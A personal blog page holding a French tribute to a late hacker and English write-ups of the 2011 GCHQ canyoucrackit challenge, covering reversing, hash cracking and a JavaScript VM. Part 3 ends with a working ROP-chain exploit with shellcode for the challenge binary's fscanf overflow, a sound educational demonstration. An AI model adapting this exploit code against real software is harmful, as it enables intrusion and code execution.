lundi 5 décembre 2011

CrashFr n'est plus :(.

Bonjour ou bonsoir,

Hier soir j'apprend la nouvelle ... juste impossible ... juste pas croyable.

Je me connecte sur la chan IRC de #hzv, une ambiance morose et un titre à faire peur: "CrashFR will never die" ... no way ...
Mes doutes, mes peurs ... j'apprend que Paolo Pinto est décédé ... fuck fuck fuck.

Paolo Pinto, aka CrashFr dans la communauté des hackers, était une figure emblématique de la scène Française.
Il a créée HackerzVoice, Sysdream et guider nombre de personnes.

Je l'ai cotoyé durant les NDH ou meets HZV, un homme au grand coeur sans aucuns doutes. Chaque personne avait sa place dans sa communauté, il n'hésitait pas à prodiguer nombres de conseil et à y consacrer de son temps lorsqu'il le pouvait.
Je le considère comme une figure à suivre, sur laquelle prendre exemple.
C'était pour moi un mentor, un exemple, un ami.

En tout cas, je ne sais comment exprimer le sentiment qui m'a envahit hier soir et l'état d'esprit dans lequel je suis. Je n'arrive toujours pas à y croire, c'est trop irréel, trop soudain, trop brutal.
Je ne sais vraiment pas quoi faire, je suis déboussolé. Lui rendre hommage? Comment? Je n'en sais absolument rien si ce n'est de ne pas oublier sa mémoire.

Il nous aura quitté sans prévenir et il ne reviendra pas ... et oh combien j'aurais souhaité prendre une autre bière et taper la discussion ...

Il restera dans nos mémoires, famille, proches, amis et personnes qui l'ont cotoyés,

m_101

samedi 3 décembre 2011

GCHQ Challenge Part 3 : www.canyoucrackit.co.uk

As I have seen that many people already posted their solutions ... I do not see the point of keeping mine :). Here it is.

Hello,

Here is the final part of the GCHQ recruitment compaign.

The challenge

We are offered an executable file (compiled under cygwin ...) to analyze.

The "analysis"

The analysis was pretty straightforward.
No protections (you can look with PEiD, etc).

Open it in ImmunityDBG or IDAPro or whatsoever and reverse the code.
I won't do a detailed analysis of the ASM code.

I basically reconstructed the C code (easier to explain no? :)):
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>

#include <sys/socket.h>
#include <netdb.h>

#include <crypt.h>

#define SERVER_PORT 80

static const char crypted_password[] = "hqDTK7b8K2rvw";

int server_connect(char *hostname, uint32_t keys[]) {
    int retcode;
    char buffer[256] = {0};
    // socket stuffs
    int sockfd;
    struct hostent *host;
    struct sockaddr_in addr;
    // recv stuffs
    int recvBytes = 0;

    host = gethostbyname(hostname);
    if (host == 0) {
        printf("error: gethostbyname() failed\n");
        return -1;
    }

    // set up sockaddr
    memcpy(&(addr.sin_addr), host->h_addr_list[0], host->h_length);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(SERVER_PORT);

    // open socket
    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // connect to target
    retcode = connect(sockfd, (struct sockaddr *) &addr, sizeof(addr));
    if (retcode != 0) {
        printf("error: connect(\"%s\") failed\n", hostname);
        return -1;
    }

    // construct GET request
    sprintf(buffer, "GET /%s/%x/%x/%x/key.txt HTTP/1.0\r\n\r\n", crypted_password, keys[0], keys[1], keys[2]);
    printf("request:\n\n%s", buffer);

    // send request
    retcode = send(sockfd, buffer, strlen(buffer), 0);
    if (retcode <= 0) {
        printf("error: send() failed\n");
        return -1;
    }

    // get response
    printf("response:\n\n");

    do {
        memset(buffer, 0, sizeof(buffer));
        recvBytes = recv(sockfd, buffer, sizeof(buffer) - 1, 0);
        if (recvBytes > 0)
            printf("%s", buffer);
    } while (recvBytes > 0);
    printf("\n");

    return recvBytes;
}

int main (int argc, char *argv[]) {
    FILE *fp;
    char buffer[24] = {0};
    uint32_t *ptr = (uint32_t *) buffer;
    // license stuffs
    int hasLicense;
    char *crypted;
    uint32_t keys[3] = {0};

    hasLicense = 0;
    printf("\nkeygen.exe\n\n");

    // check args
    if (argc != 2) {
        printf("usage: keygen.exe hostname\n");
        return -1;
    }

    // open license file
    fp = fopen("license.txt", "r");
    if (!fp) {
        printf("error: license.txt not found\n");
        return -1;
    }

    memset(buffer, 0, 24);
    fscanf(fp, "%s", buffer);
    fclose(fp);

    // if buffer does not begin with gchq
    // then bye
    if (*ptr != 0x71686367) {
        printf("error: license.txt invalid\n");
        return -1;
    }

    // check for password
    crypted = crypt(buffer + 4, crypted_password);
    if (strcmp(crypted, crypted_password) == 0)
        hasLicense = 1;

    printf("loading stage1 license key(s)...\n");
    keys[0] = *((uint32_t *)(buffer + 12));
    printf("loading stage2 license key(s)...\n\n");
    keys[1] = *((uint32_t *)(buffer + 16));
    keys[2] = *((uint32_t *)(buffer + 20));
    // if we don't have license
    // then bye
    if (hasLicense == 0) {
        printf("error: license.txt invalid\n");
        return -1;
    }

    return server_connect(argv[1], keys);
}

So basically, it search for a license.txt file with a specific file format which is as follow:
gchq | password | dword 0 | dword 1 | dword 2

In the ASM code you have this:
.text:00401120 loc_401120:                             ; CODE XREF: main+76 j
.text:00401120                 mov     [esp+78h+var_70], 18h
.text:00401128                 mov     [esp+78h+var_74], 0
.text:00401130                 lea     eax, [ebp+buffer]
.text:00401133                 mov     [esp+78h+var_78], eax
.text:00401136                 call    memset

We have the value 0x18 which is 24 in decimal ;).
It basically mean that you have a 24 bytes buffer which receive "gchq", the password and 3 dwords. From this we can deduce the password size: 24 - 4 - 12 = 8.

From there, we can set a jtr rule in the /etc/john/john.conf file:
# custom incremental mode
[Incremental:cyber]
File = $JOHN/alpha.chr
MinLen = 8
MaxLen = 8
CharCount = 26

We suppose the password is full alpha.

Then we have to format our hash using the standard unix format:
cyber:hqDTK7b8K2rvw:1:2:3:4:::

We bruteforce it like this:
$ john -i:cyber hash

If you've got rainbow tables or the word in your wordlist then you are lucky not to bruteforce like i had to.
It took me around 35 minutes to get the password:
$ john -show ./hash 
cyber:cyberwin:1:2:3:4:::

1 password hash cracked, 0 left

About the dwords ... where do we get them?
They give us tips:
loading stage1 license key(s)...
loading stage2 license key(s)...
So the dwords are in the first and second challenges.
Remember that there are some dwords that we don't use.

In the first challenge:
main:
    jmp short begin

key0: dd 0xa3bfc2af

; let's make some space for our buffer!
begin:
    sub esp, 0x100

In the second challenge:
    firmware: [0xd2ab1f05, 0xda13f110]

Now ce can construct the license file using the following (don't forget about little endian here if you are on x86 ;)):
printf "gchqcyberwin\xaf\xc2\xbf\xa3\x05\x1f\xab\xd2\x10\xf1\x13\xda" > license.txt

You can either compile the reversed version or use the given executable:
gcc -o reversed reversed.c -lcrypt
You will get this output:
$ ./reversed www.canyoucrackit.co.uk

keygen.exe

loading stage1 license key(s)...
loading stage2 license key(s)...

request:

GET /hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt HTTP/1.0

response:

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Mon, 05 Dec 2011 03:55:34 GMT
Connection: close
Content-Length: 315

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Found
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii">
<BODY><h2>Not Found</h2>
<hr><p>HTTP Error 404. The requested resource is not found.
</BODY></HTML>

If you look in your browser at the following address:
http://www.canyoucrackit.co.uk/hqDTK7b8K2rvw/a3bfc2af/d2ab1f05/da13f110/key.txt

You will get the keyword:
Pr0t3ct!on#cyber_security@12*12.2011+

Congratz

Done, you have a congratulation message (here):


If you click on the button:


You have the following links:
                                                     Apply    

If you click on the Apply button:


And they wonder why they are lacking resources in reversers, hackers and alike ... a pay between 25, 446 and 31, 152 pounds ...
Poor pay for rare skills and working for a government agency ... not including the lies you are required to give out to your friends and so on.


Bonus Track

Oh yes, surprise, surprise, this challenge is vulnerable :).

If you reverse and read the code with care ... you'd see that the fscanf() function is susceptible to an overflow ;).

fscanf(fp, "%s", buffer);

If you read the manual:

s      Matches a sequence of non-white-space characters; the next pointer must be a pointer to character array that is long enough
              to hold the input sequence and the terminating null character ('\0'), which is added automatically.  The input string stops
              at white space or at the maximum field width, whichever occurs first.

Yep, it doesn't end at '\0' ;).
It basically end reading when you end the file or the size specification or whitespaces: "\x20\x09\x0d\x0c\x0b\x0a".

So I coded an exploit spawning a calc.
There is a limit as of the size of the payload, around 700-800 bytes which cause cygwin to have a deadlock in the fclose() call. I did not investigate further as how to bypass this restriction.

#!/usr/bin/python3

''' Gadgets '''

# gadget(s) from cygwin-1.dll

# == stack related
# pushad | retn
pushad = b'\xbc\xce\x02\x61'
# pop eax | retn
pop_eax = b'\x94\xa4\x14\x61'
# pop ebx | retn
pop_ebx = b'\xe9\x0e\x03\x61'
# pop edi | retn
pop_edi = b'\x67\x15\x11\x61'
# pop esi | pop edi | pop ebp | retn
pop_sdb = b'\xef\x8e\x06\x61'

# == memory patch
# 0x6111459f :  # MOV DWORD PTR DS:[EAX],ESI # MOV EAX,EDI # POP EBX # POP ESI # POP EDI # POP EBP # RETN
patch_at_eax = b'\x9f\x45\x11\x61'

# == stack pivots
# add esp, 8 | retn
add_esp8 = b'\x4a\xb8\x02\x61'

# == registry related
# 0x6113f7e3 :  # MOV EDX,EAX # MOV EAX,EDX # RETN
mov_da = b'\xe3\xf7\x13\x61'
# 0x6113f7e5 :  # MOV EAX,EDX # RETN
mov_ad = b'\xe5\xf7\x13\x61'
# xchg eax, ecx
xchg_ac = b'\x7b\x6f\x09\x61'
# xchg eax, edx
xchg_ad = b'\x5a\xf0\x09\x61'
# call eax
jmp_eax = b'\x9b\x9d\x13\x61' # 0x61139d9b

# gadget(s) from executable
# ret
ret = b'\x86\x10\x40\x00'


''' Exploit Section '''

junk1 = b'a' * 44
hasLicense = b'\x01\x00\x00\x00' # hasLicense
junk2 = b'b' * 12
# pop | retn
seip = b'\xa3\x14\x40\x00'  # eip
sebp = b'\x00\x02\x40\x00'  # ebp

# == rop chain: recover esp in eax
# pop esi # junk # junk # retn
prepare_regs = pop_sdb + b'\x90' * 4 + b'junk' * 2
# pop edi # pop ebp # retn
prepare_regs += pop_edi + pop_eax + pop_eax
# pop ebx
prepare_regs += pop_ebx + add_esp8
# pop eax
prepare_regs += pop_eax + jmp_eax
#
rop_get_eax = prepare_regs + pushad

# our whole rop chain, i did not include VirtualProtect payload btw
# it is equivalent to mov eax, esp | jmp eax
rop_chain = junk1 + hasLicense + junk2 + seip + sebp + rop_get_eax

# we have the following rop chain for prepare_regs
'''
|    pop esi     |
|   0x90 * 4     |  esi
|     junk       |
|     junk       |
|    pop edi     |
| addr(jmp_eax)  |  edi
| addr(jmp_eax)  |  ebp
|    pop ebx     |
| addr(add_esp8) |  ebx
|    pop eax     |
| addr(jmp_eax)  |  eax
'''

# we have the following stack after the pushad
'''
|   pop eax   |     edi
|  0x90 * 4   |     esi
|   pop eax   |     ebp
|     esp     |     esp
| add esp + 8 |     ebx
|    junk     |     edx
|    junk     |     ecx
|   jmp eax   |     eax
'''

# the registers after the execution of the constructed ropchain
'''
eax = esp
ebx = addr(add_esp8)
ecx = ecx
edx = edx
edi = addr(pop_eax)
esi = 0x90909090
ebp = addr(pop_eax)
esp = esp
'''

# now our payload
# our payload will be a calc here
calc = b'\xda\xd5\xd9\x74\x24\xf4\x5b\xba\xf3\x21\x03\x70\x31\xc9'      \
        + b'\xb1\x33\x83\xeb\xfc\x31\x53\x13\x03\xa0\x32\xe1\x85\xba'   \
        + b'\xdd\x6c\x65\x42\x1e\x0f\xef\xa7\x2f\x1d\x8b\xac\x02\x91'   \
        + b'\xdf\xe0\xae\x5a\x8d\x10\x24\x2e\x1a\x17\x8d\x85\x7c\x16'   \
        + b'\x0e\x28\x41\xf4\xcc\x2a\x3d\x06\x01\x8d\x7c\xc9\x54\xcc'   \
        + b'\xb9\x37\x96\x9c\x12\x3c\x05\x31\x16\x00\x96\x30\xf8\x0f'   \
        + b'\xa6\x4a\x7d\xcf\x53\xe1\x7c\x1f\xcb\x7e\x36\x87\x67\xd8'   \
        + b'\xe7\xb6\xa4\x3a\xdb\xf1\xc1\x89\xaf\x00\x00\xc0\x50\x33'   \
        + b'\x6c\x8f\x6e\xfc\x61\xd1\xb7\x3a\x9a\xa4\xc3\x39\x27\xbf'   \
        + b'\x17\x40\xf3\x4a\x8a\xe2\x70\xec\x6e\x13\x54\x6b\xe4\x1f'   \
        + b'\x11\xff\xa2\x03\xa4\x2c\xd9\x3f\x2d\xd3\x0e\xb6\x75\xf0'   \
        + b'\x8a\x93\x2e\x99\x8b\x79\x80\xa6\xcc\x25\x7d\x03\x86\xc7'   \
        + b'\x6a\x35\xc5\x8d\x6d\xb7\x73\xe8\x6e\xc7\x7b\x5a\x07\xf6'   \
        + b'\xf0\x35\x50\x07\xd3\x72\xae\x4d\x7e\xd2\x27\x08\xea\x67'   \
        + b'\x2a\xab\xc0\xab\x53\x28\xe1\x53\xa0\x30\x80\x56\xec\xf6'   \
        + b'\x78\x2a\x7d\x93\x7e\x99\x7e\xb6\x1c\x7c\xed\x5a\xcd\x1b'   \
        + b'\x95\xf9\x11';

egg = rop_chain + b'\x90' * 64 + calc

# write our sploit file :)
fp = open("license.txt", "wb")
fp.write(egg)
fp.close()


So as you can see this is a direct ret overwrite, it bypass the "hasLicense" but it fails to gethostbyname() because we overwrite the hostname ;).

For a security challenge ... well it was not secure :).

Conclusion

The challenges were accessible by anyone with some programming knowledge and basic reversing skills.

I am not British so I did it for "fun" ... but for those who applied for the job: they clearly are not searching for highly skilled reverser or programmers ... just the average would do I think here.
Otherwise they would have put more protections on the executables, etc.

I am quite disappointed for an entity such as GCHQ as the challenges were "phony" ...
It  was more about searching in the right place than anything else ... but well.

Anyway, I see no point in applying for such an offer:
- you can't speak about your jobs (=> Official Secrets Act)
- you can't speak about your colleagues (=> Official Secrets Act)
- you pay is too low
- you have more risks of being attacked/killed/retained as an hostage (=> in order to potentially attack and steal information from the UK Secret Service)
- if you quit GCHQ, you are stuck with a CV with a "blank" hole
- etc
I might be wrong ... but well I do not see any advantages.

Anyway, hope you had fun through this serie,

m_101

- My solutions: here

GCHQ Challenge Part 2 - http://www.canyoucrackit.co.uk/

As I have seen that many people already posted their solutions ... I do not see the point of keeping mine :). Here it is.

Hello again :),

Ok folks, you managed to get to level 2.

Let's begin,

The challenge

We are presented with a JavaScript file:

//--------------------------------------------------------------------------------------------------

//

// stage 2 of 3

//

// challenge:

//   reveal the solution within VM.mem

//

// disclaimer:

//   tested in ie 9, firefox 6, chrome 14 and v8 shell (http://code.google.com/apis/v8/build.html),

//   other javascript implementations may or may not work.

//

//--------------------------------------------------------------------------------------------------



var VM = {

  

  cpu: {

    ip: 0x00,

    

    r0: 0x00,

    r1: 0x00,

    r2: 0x00,

    r3: 0x00,

    

    cs: 0x00,

    ds: 0x10,

    

    fl: 0x00,

    

    firmware: [0xd2ab1f05, 0xda13f110]

  },

  

  mem: [

    0x31, 0x04, 0x33, 0xaa, 0x40, 0x02, 0x80, 0x03, 0x52, 0x00, 0x72, 0x01, 0x73, 0x01, 0xb2, 0x50,

    0x30, 0x14, 0xc0, 0x01, 0x80, 0x00, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    

    0x98, 0xab, 0xd9, 0xa1, 0x9f, 0xa7, 0x83, 0x83, 0xf2, 0xb1, 0x34, 0xb6, 0xe4, 0xb7, 0xca, 0xb8,

    0xc9, 0xb8, 0x0e, 0xbd, 0x7d, 0x0f, 0xc0, 0xf1, 0xd9, 0x03, 0xc5, 0x3a, 0xc6, 0xc7, 0xc8, 0xc9,

    0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9,

    0xda, 0xdb, 0xa9, 0xcd, 0xdf, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9,

    0x26, 0xeb, 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9,

    0x7d, 0x1f, 0x15, 0x60, 0x4d, 0x4d, 0x52, 0x7d, 0x0e, 0x27, 0x6d, 0x10, 0x6d, 0x5a, 0x06, 0x56,

    0x47, 0x14, 0x42, 0x0e, 0xb6, 0xb2, 0xb2, 0xe6, 0xeb, 0xb4, 0x83, 0x8e, 0xd7, 0xe5, 0xd4, 0xd9,

    0xc3, 0xf0, 0x80, 0x95, 0xf1, 0x82, 0x82, 0x9a, 0xbd, 0x95, 0xa4, 0x8d, 0x9a, 0x2b, 0x30, 0x69,

    0x4a, 0x69, 0x65, 0x55, 0x1c, 0x7b, 0x69, 0x1c, 0x6e, 0x04, 0x74, 0x35, 0x21, 0x26, 0x2f, 0x60,

    0x03, 0x4e, 0x37, 0x1e, 0x33, 0x54, 0x39, 0xe6, 0xba, 0xb4, 0xa2, 0xad, 0xa4, 0xc5, 0x95, 0xc8,

    0xc1, 0xe4, 0x8a, 0xec, 0xe7, 0x92, 0x8b, 0xe8, 0x81, 0xf0, 0xad, 0x98, 0xa4, 0xd0, 0xc0, 0x8d,

    0xac, 0x22, 0x52, 0x65, 0x7e, 0x27, 0x2b, 0x5a, 0x12, 0x61, 0x0a, 0x01, 0x7a, 0x6b, 0x1d, 0x67,

    0x75, 0x70, 0x6c, 0x1b, 0x11, 0x25, 0x25, 0x70, 0x7f, 0x7e, 0x67, 0x63, 0x30, 0x3c, 0x6d, 0x6a,

    0x01, 0x51, 0x59, 0x5f, 0x56, 0x13, 0x10, 0x43, 0x19, 0x18, 0xe5, 0xe0, 0xbe, 0xbf, 0xbd, 0xe9,

    0xf0, 0xf1, 0xf9, 0xfa, 0xab, 0x8f, 0xc1, 0xdf, 0xcf, 0x8d, 0xf8, 0xe7, 0xe2, 0xe9, 0x93, 0x8e,

    0xec, 0xf5, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    

    0x37, 0x7a, 0x07, 0x11, 0x1f, 0x1d, 0x68, 0x25, 0x32, 0x77, 0x1e, 0x62, 0x23, 0x5b, 0x47, 0x55,

    0x53, 0x30, 0x11, 0x42, 0xf6, 0xf1, 0xb1, 0xe6, 0xc3, 0xcc, 0xf8, 0xc5, 0xe4, 0xcc, 0xc0, 0xd3,

    0x85, 0xfd, 0x9a, 0xe3, 0xe6, 0x81, 0xb5, 0xbb, 0xd7, 0xcd, 0x87, 0xa3, 0xd3, 0x6b, 0x36, 0x6f,

    0x6f, 0x66, 0x55, 0x30, 0x16, 0x45, 0x5e, 0x09, 0x74, 0x5c, 0x3f, 0x29, 0x2b, 0x66, 0x3d, 0x0d,

    0x02, 0x30, 0x28, 0x35, 0x15, 0x09, 0x15, 0xdd, 0xec, 0xb8, 0xe2, 0xfb, 0xd8, 0xcb, 0xd8, 0xd1,

    0x8b, 0xd5, 0x82, 0xd9, 0x9a, 0xf1, 0x92, 0xab, 0xe8, 0xa6, 0xd6, 0xd0, 0x8c, 0xaa, 0xd2, 0x94,

    0xcf, 0x45, 0x46, 0x67, 0x20, 0x7d, 0x44, 0x14, 0x6b, 0x45, 0x6d, 0x54, 0x03, 0x17, 0x60, 0x62,

    0x55, 0x5a, 0x4a, 0x66, 0x61, 0x11, 0x57, 0x68, 0x75, 0x05, 0x62, 0x36, 0x7d, 0x02, 0x10, 0x4b,

    0x08, 0x22, 0x42, 0x32, 0xba, 0xe2, 0xb9, 0xe2, 0xd6, 0xb9, 0xff, 0xc3, 0xe9, 0x8a, 0x8f, 0xc1,

    0x8f, 0xe1, 0xb8, 0xa4, 0x96, 0xf1, 0x8f, 0x81, 0xb1, 0x8d, 0x89, 0xcc, 0xd4, 0x78, 0x76, 0x61,

    0x72, 0x3e, 0x37, 0x23, 0x56, 0x73, 0x71, 0x79, 0x63, 0x7c, 0x08, 0x11, 0x20, 0x69, 0x7a, 0x14,

    0x68, 0x05, 0x21, 0x1e, 0x32, 0x27, 0x59, 0xb7, 0xcf, 0xab, 0xdd, 0xd5, 0xcc, 0x97, 0x93, 0xf2,

    0xe7, 0xc0, 0xeb, 0xff, 0xe9, 0xa3, 0xbf, 0xa1, 0xab, 0x8b, 0xbb, 0x9e, 0x9e, 0x8c, 0xa0, 0xc1,

    0x9b, 0x5a, 0x2f, 0x2f, 0x4e, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

  ],

  

  exec: function()

  {

    // virtual machine architecture

    // ++++++++++++++++++++++++++++

    //

    // segmented memory model with 16-byte segment size (notation seg:offset)

    //

    // 4 general-purpose registers (r0-r3)

    // 2 segment registers (cs, ds equiv. to r4, r5)

    // 1 flags register (fl)

    //

    // instruction encoding

    // ++++++++++++++++++++

    //

    //           byte 1               byte 2 (optional)

    // bits      [ 7 6 5 4 3 2 1 0 ]  [ 7 6 5 4 3 2 1 0 ]

    // opcode      - - -             

    // mod               -           

    // operand1            - - - -

    // operand2                         - - - - - - - -

    //

    // operand1 is always a register index

    // operand2 is optional, depending upon the instruction set specified below

    // the value of mod alters the meaning of any operand2

    //   0: operand2 = reg ix

    //   1: operand2 = fixed immediate value or target segment (depending on instruction)

    //

    // instruction set

    // +++++++++++++++

    // 

    // Notes:

    //   * r1, r2 => operand 1 is register 1, operand 2 is register 2

    //   * movr r1, r2 => move contents of register r2 into register r1

    // 

    // opcode | instruction | operands (mod 0) | operands (mod 1)

    // -------+-------------+------------------+-----------------

    // 0x00   | jmp         | r1               | r2:r1

    // 0x01   | movr        | r1, r2           | rx,   imm 

    // 0x02   | movm        | r1, [ds:r2]      | [ds:r1], r2

    // 0x03   | add         | r1, r2           | r1,   imm

    // 0x04   | xor         | r1, r2           | r1,   imm 

    // 0x05   | cmp         | r1, r2           | r1,   imm 

    // 0x06   | jmpe        | r1               | r2:r1

    // 0x07   | hlt         | N/A              | N/A

    //

    // flags

    // +++++

    // 

    // cmp r1, r2 instruction results in:

    //   r1 == r2 => fl = 0

    //   r1 < r2  => fl = 0xff

    //   r1 > r2  => fl = 1

    // 

    // jmpe r1

    //   => if (fl == 0) jmp r1

    //      else nop

    

    throw "VM.exec not yet implemented";

  }

  

};



//--------------------------------------------------------------------------------------------------



try

{

  VM.exec();

}

catch(e)

{

  alert('\nError: ' + e + '\n');

}



//--------------------------------------------------------------------------------------------------

Okay, the challenge consist in implementing a virtual CPU that will be able to execute the bytecode and decrypt the parts that interest us.

The VM

Hell, I am not a Web guy so I do not master JavaScript ... who said I had to use JavaScript?
Thus I coded my VM in C, it is included in the archive at the end of the post (600-700 lines of code is too much for a post :)).

I implemented the VM, a disassembler and some debug stuffs.


The disassembled byte code

Before executing any code:

== DISASM (before)
0x0000: movr r1, 4
0x0002: movr r3, 170
0x0004: movm r0, [ds:r2]
0x0006: xor r0, r3
0x0008: movm [ds:r2], r0
0x000a: add r2, 1
0x000c: add r3, 1
0x000e: cmp r2, 80
0x0010: movr r0, 20
0x0012: jmpe r0
0x0013: jmp r1
0x0014: xor r0, r0
0x0016: jmp 16:r0
0x0018: jmp r0
0x0019: jmp r0
0x001a: jmp r0
[...]
0x00fa: jmp r0
0x00fb: jmp r0
0x00fc: jmp r0
0x00fd: jmp r0
0x00fe: jmp r0
0x00ff: jmp r0
0x0100: xor r0, 171
0x0102: jmpe 161:r1
0x0104: invalid
0x0106: xor r3, r3
0x0108: hlt
0x0109: cmp r1, 52
0x010b: invalid
0x010d: invalid
0x010f: cmp r0, 201
0x0111: cmp r0, 14
0x0113: cmp ds, 125
0x0115: invalid
0x0116: jmpe r0
0x0117: hlt
0x0118: jmpe 3:r1
0x011a: invalid
0x011b: movr r2, 198
0x011d: invalid
0x011e: jmpe r0
0x011f: jmpe r1
0x0120: jmpe r2
0x0121: jmpe r3
0x0122: invalid
0x0123: invalid
0x0124: invalid
0x0125: invalid

As you can see you have a first loop from address 0x0 to 0x16.
The second loop is completely junk as we have invalid instructions.

The first loop will loop till r2 is 80.
Basically, it will decode 80 bytes of the "data section" with keys ranging from 170 to 250.
The data section is located at offset 256 and the code section at offset 0.
Once we decrypted 80 bytes, we change our code section so it points at offset 256.
We basically decoded a second payload.

The code at the end:

== DISASM (after)
0x0000: movr r1, 4
0x0002: movr r3, 170
0x0004: movm r0, [ds:r2]
0x0006: xor r0, r3
0x0008: movm [ds:r2], r0
0x000a: add r2, 1
0x000c: add r3, 1
0x000e: cmp r2, 80
0x0010: movr r0, 20
0x0012: jmpe r0
0x0013: jmp r1
0x0014: xor r0, r0
0x0016: jmp 16:r0
0x0018: jmp r0
0x0019: jmp r0
0x001a: jmp r0
[...]
0x00fa: jmp r0
0x00fb: jmp r0
0x00fc: jmp r0
0x00fd: jmp r0
0x00fe: jmp r0
0x00ff: jmp r0
0x0100: movr r2, 0
0x0102: add ds, 12
0x0104: movr r1, 8
0x0106: movr r3, 50
0x0108: movm r0, [ds:r2]
0x010a: xor r0, r3
0x010c: movm [ds:r2], r0
0x010e: add r2, 1
0x0110: add r3, 3
0x0112: cmp r2, 0
0x0114: jmpe r3
0x0115: cmp r0, 0
0x0117: movr r0, 27
0x0119: jmpe r0
0x011a: jmp r1
0x011b: hlt
0x011c: jmp r0
0x011d: jmp r0
[...]
0x0130: jmp r0
0x0131: jmp r0
0x0132: add ds, 16
0x0134: jmp r1
0x0135: jmp r0
0x0136: jmp r0
0x0137: jmp r0
0x0138: jmp r0
0x0139: jmp r0
0x013a: jmp r0
0x013b: jmp r0
0x013c: jmp r0
0x013d: jmp r0
0x013e: jmp r0
0x013f: jmp r0
0x0140: invalid
0x0141: jmp r0
0x0142: jmp r0
0x0143: jmp r0
0x0144: jmp r0
0x0145: jmp r0
0x0146: jmp r0
0x0147: jmp r0
0x0148: jmp r0

Now at offset 0x100, we can see our decoded payload.
It is a second decoding loop ;).
It changes ds so it points to the encoded payload.
It stop decoding as soon as it reaches the end of the decoded string: '\0'.

The thing is ... we still have 256 bytes that we have no idea of what it is as we can seen from the dumps.
 28 : 0x1c0 : 47 45 54 20 2f 64 61 37 35 33 37 30 66 65 31 35 | GET /da75370fe15
 29 : 0x1d0 : 63 34 31 34 38 62 64 34 63 65 65 63 38 36 31 66 | c4148bd4ceec861f
 30 : 0x1e0 : 62 64 61 61 35 2e 65 78 65 20 48 54 54 50 2f 31 | bdaa5.exe HTTP/1
 31 : 0x1f0 : 2e 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .0..............
 32 : 0x200 : 37 7a 07 11 1f 1d 68 25 32 77 1e 62 23 5b 47 55 | 7z....h%2w.b#[GU
 33 : 0x210 : 53 30 11 42 f6 f1 b1 e6 c3 cc f8 c5 e4 cc c0 d3 | S0.B............
 34 : 0x220 : 85 fd 9a e3 e6 81 b5 bb d7 cd 87 a3 d3 6b 36 6f | .............k6o
 35 : 0x230 : 6f 66 55 30 16 45 5e 09 74 5c 3f 29 2b 66 3d 0d | ofU0.E^.t\?)+f=.
 36 : 0x240 : 02 30 28 35 15 09 15 dd ec b8 e2 fb d8 cb d8 d1 | .0(5............
 37 : 0x250 : 8b d5 82 d9 9a f1 92 ab e8 a6 d6 d0 8c aa d2 94 | ................
